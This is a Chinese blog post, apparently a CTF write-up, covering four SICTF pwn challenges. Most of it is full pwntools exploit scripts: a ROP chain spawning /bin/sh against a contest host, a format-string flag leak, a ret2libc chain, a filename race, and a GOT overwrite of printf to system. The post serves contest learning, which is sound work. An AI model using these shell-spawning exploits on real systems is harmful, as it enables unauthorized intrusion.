SICTF PWN WriteUp
Sunday, January 22, 2023
本文共3800字
8分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/sictf-pwn-writeup/。商业转载请联系作者获得授权,非商业转载请注明出处!
Never mistake motion for action.
— Ernest Hemingway
sictf_pwn
C@na2y
checksec查看程序架构
ida查看伪C代码
法一:直接用ropper或者ROPgadget生成ROP链
最简单的方法,使用ropper或者ROPgadget生成(ROPgadget比较好,会区分bytes和str),可以直接getshell,但是我自己生成的时候却没有成功,出来的ROP链无法使用,这里放一下另一位大佬的exp:
使用命令ROPgadget.py --binary pwn --ropchain
生成:
from pwn import *
io = process('./pwn')
io = remote('ctf.qsnctf.com',10499)
from struct import pack
# Padding goes here
p = b''
p += p32(0x0806ee2b) # pop edx ; ret
p += p32(0x080da060) # @ .data
#p += p32(0x080a90d6) # pop eax ; ret
p += p32(0x08056464) # pop eax ; pop edx ; pop ebx ; ret
p += b'/bin'
p += p32(0x080da060)*2 # @ .data
p += p32(0x08056f95) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ee2b) # pop edx ; ret
p += p32(0x080da064) # @ .data + 4
p += p32(0x08056464) # pop eax ; pop edx ; pop ebx ; ret
#p += p32(0x080a90d6) # pop eax ; ret
p += b'//sh'
p += p32(0x080da064)*2 # @ .data + 4
p += p32(0x08056f95) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ee2b) # pop edx ; ret
p += p32(0x080da068) # @ .data + 8
p += p32(0x08056550) # xor eax, eax ; ret
p += p32(0x08056f95) # mov dword ptr [edx], eax ; ret
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080da060) # @ .data
p += p32(0x0806ee52) # pop ecx ; pop ebx ; ret
p += p32(0x080da068) # @ .data + 8
p += p32(0x080da060) # padding without overwrite ebx
p += p32(0x0806ee2b) # pop edx ; ret
p += p32(0x080da068) # @ .data + 8
p += p32(0x08056550) # xor eax, eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x08049623) # int 0x80
pay = b'/flag;AAABBBCCCDDDEEEFFFAAAA' + p
#gdb.attach(io,'b *0x080488D0')
io.send(pay)
fmt2
SiLibrary
#io = remote()
io.interactive()
这个代码我测试过,是实际可用的,但是我自己生成的时候却无法还原,可能和我的环境有关
法二:使用win函数用格式化字符串查看flag内容
程序给了一个win函数来将flag读入到栈内:
因为flag在一个远程环境中是不变的,而程序限制v2的读入长度,所以我们可以一个一个地读入:
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
todo = []
def pwn(times: int):
global todo
rmt: bool = False
fn: str = "./sictf-C@na2y"
libc_name:str = ""
port: str = "10023"
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
p = remote("ctf.qsnctf.com", port)
else:
if if_debug:
p = gdb.debug(fn, """
b* 0x8048951
c
""")
else:
p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
# libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)])
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
offset: int = 0x18 + 4
backdoor = m_elf.sym['win']
payload = flat({offset:[
backdoor
]})
sendline_after_clean(payload)
sendline_after_clean(f"%{times}$x")
recved = p.recvuntil(b"\n", True)
if len(recved) % 2 != 0:
recved = b"0" + recved
todo.append(recved.decode("UTF-8"))
p.close()
for i in range(10, 22):
pwn(i)
print(todo)
s = ""
for ele in todo:
tmp = ""
for i in range(0, len(ele), 2):
tmp = chr(int(ele[i:i+2], 16)) + tmp
s += tmp
print(s)
easystack
checksec查看程序架构
ida查看伪C代码
程序的整体逻辑就是先输入一个达不到栈溢出长度的字符串,然后把这个字符串复制到更低位的栈上,但是遇到\x00
就停止复制
这就意味着,我们在check的栈上只能溢出一句到ret上,但在这个程序上显然不能直接getshell
于是我就想,既然check的栈更低,那能不能和main函数中的输入到栈中的payload连在一起呢?
但一个ret肯定是不行的,但是别忘了,能改变栈指针的还有pop和push,
如果我们使用这个pop掉5个的gadget,那么我们不仅能和我们的payload接上,而且还会跳过payload中的pop_5_ret:
那么,其实我们已经可以忽视check函数了,只需要将payload构造成这样,[content]
部分就能够被执行
flat({offset:[
pop_5_ret,
[content]
]})
因此题目就被转化成常规的ret2libc了
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
rmt: bool = False
fn: str = "./sictf-easystack"
libc_name: str = "./libc.so.6"
port: str = ""
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
b* 0x40075D
c
""", env=env)
else:
p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)])
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
# 查找gadget的内置函数
rop_gadget = ROP(m_elf)
pop_rdi_ret: int = rop_gadget.find_gadget(["pop rdi", "ret"])[0]
ret: int = rop_gadget.find_gadget(["ret"])[0]
pop_5_ret = 0x000000000040089b
suclog(
"pop_5_ret",
pop_rdi_ret=pop_rdi_ret,
ret=ret,
)
#需要自行设定offset
offset:int = 0x10
# 需要改为需要的输入函数,默认为puts
puts_plt: int = m_elf.plt["puts"]
puts_got: int = m_elf.got["puts"]
main_addr: int = m_elf.sym["main"]
suclog(
puts_plt=puts_plt,
puts_got=puts_got,
main_addr=main_addr
)
sendline_after_clean(b"512")
# 发送payload
payload = flat({offset:[
pop_5_ret,
pop_rdi_ret,
puts_got,
puts_plt,
main_addr
]})
sendline_after_clean(payload)
p.recvuntil(b"welcome to sictf\n")
# 得到真实地址
puts_addr:int = recv_and_transform()
# 计算得到基址和system地址
base_addr: int = puts_addr - libc.sym['puts']
system_addr: int = base_addr + libc.sym['system']
bin_sh_addr: int = base_addr + next(libc.search(b"/bin/sh"))
suclog(
puts_addr=puts_addr,
base_addr=base_addr,
system_addr=system_addr,
bin_sh_addr=bin_sh_addr
)
# 发送payload
sendline_after_clean(b"512")
# 注意栈对齐
payload = flat({offset:[
pop_5_ret,
ret,
pop_rdi_ret,
bin_sh_addr,
system_addr
]})
sendline_after_clean(payload)
interactive_after_clean()
SiLibrary
checksec查看程序架构
ida查看伪C代码
这道题是C++反编译,因此阅读可能会有一点困难
但是仔细阅读一下会发现,程序逻辑其实挺容易理解的
只要先把线程挂起,因为里面有一个sleep,在这一秒内将bookname改为./flag就行
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
rmt: bool = False
fn: str = "./sictf-SiLibrary"
libc_name:str = "/usr/lib/x86_64-linux-gnu/libstdc++.so.6"
port: str = ""
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
break main
c
""")
else:
p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)])
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
sendline_after_clean("3")
sendline_after_clean("2")
sendline_after_clean("1")
sendline_after_clean("./flag\x00")
interactive_after_clean()
fmt2
checksec查看程序架构
ida查看伪C代码
一次栈上格式化字符串漏洞,两次非栈上格式化字符串漏洞,而且第一次栈上格式化字符串漏洞之后还有一次机会改变栈上内容
最离谱的是,虽然没有给libc,但是程序中是有system的
我们可以在第一次泄露出pie的基址,然后将printf_got、printf_got+2安排在栈上,然后通过格式化字符串将printf_got更改为system_plt
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
rmt: bool = False
fn: str = "./sictf-fmt"
libc_name:str = "/lib/i386-linux-gnu/libc.so.6"
port: str = ""
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
break main
c
""")
else:
p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)])
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
payload = b"%3$p.%1$p."
sendline_after_clean(payload)
pie_addr = recv_and_transform(from_bytes=False, bound=b".") - 49 - m_elf.sym['main']
stack_addr = recv_and_transform(from_bytes=False, bound=b".") + 96
printf_got = pie_addr + m_elf.got['printf']
system_plt = pie_addr + m_elf.plt['system']
suclog(
"printf_got",
"system_plt"
)
payload = flat([
printf_got,
printf_got + 2,
])
sendline_after_clean(payload, "You have one chance to change it")
fmt = ""
write1 = system_plt & 0xffff
write2 = (system_plt >> (2*8)) & 0xffff
write_dict = {write1:7, write2:8}
write_list = [write1, write2]
write_list.sort()
tmp = 0
for ele in write_list:
fmt += f"%{ele-tmp}c%{write_dict[ele]}$hn"
tmp = ele
fmt += "\x00"
sendline_after_clean(fmt, "I hope to get your blessing")
sendline_after_clean(b"/bin/sh\x00")
print(fmt)
interactive_after_clean()
扫码阅读此文章
点击按钮复制分享信息
点击订阅